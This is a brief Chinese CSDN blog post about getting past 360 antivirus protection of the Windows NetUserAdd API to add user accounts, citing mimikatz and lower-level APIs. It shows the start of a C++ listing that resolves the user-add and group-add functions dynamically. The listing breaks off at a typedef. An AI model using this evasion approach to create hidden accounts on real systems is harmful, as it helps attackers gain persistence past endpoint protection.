水一篇-netuseradd

最新推荐文章于 2023-10-09 15:52:41 发布

「已注销」

最新推荐文章于 2023-10-09 15:52:41 发布

阅读量625

点赞数 1

文章标签： c语言 c++

本文链接：https://blog.csdn.net/xmd213131/article/details/120586367

版权

本文介绍了如何在360防护下通过修改netuseradd API实现用户添加。通过学习mimikatz源码，发现可以调用更底层的API来规避防护。并分享了相关测试工具及进一步学习的资源。

摘要由CSDN通过智能技术生成

虽然360对使用netuseradd 的api进行了一定的防护，但是做一下修改还是可以过的，甚至于我们可以尝试调用更加底层的api。
在这里插入图片描述

mimikaz是真的强，还是还看源码才行。。。

使用这个大哥写的工具测试的：添加链接描述

Netuseradd稍稍修改一下：
在这里插入图片描述

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <Windows.h>
#include <LM.h>
#include <iostream>

#ifndef UNICODE
#define UNICODE
#endif

typedef int(WINAPI* add)(LMSTR servername, DWORD level, LPBYTE buf, LPDWORD parm_err);
typedef int(WINAPI* NGA)(LPCWSTR servername,LPCWSTR groupname, DWORD level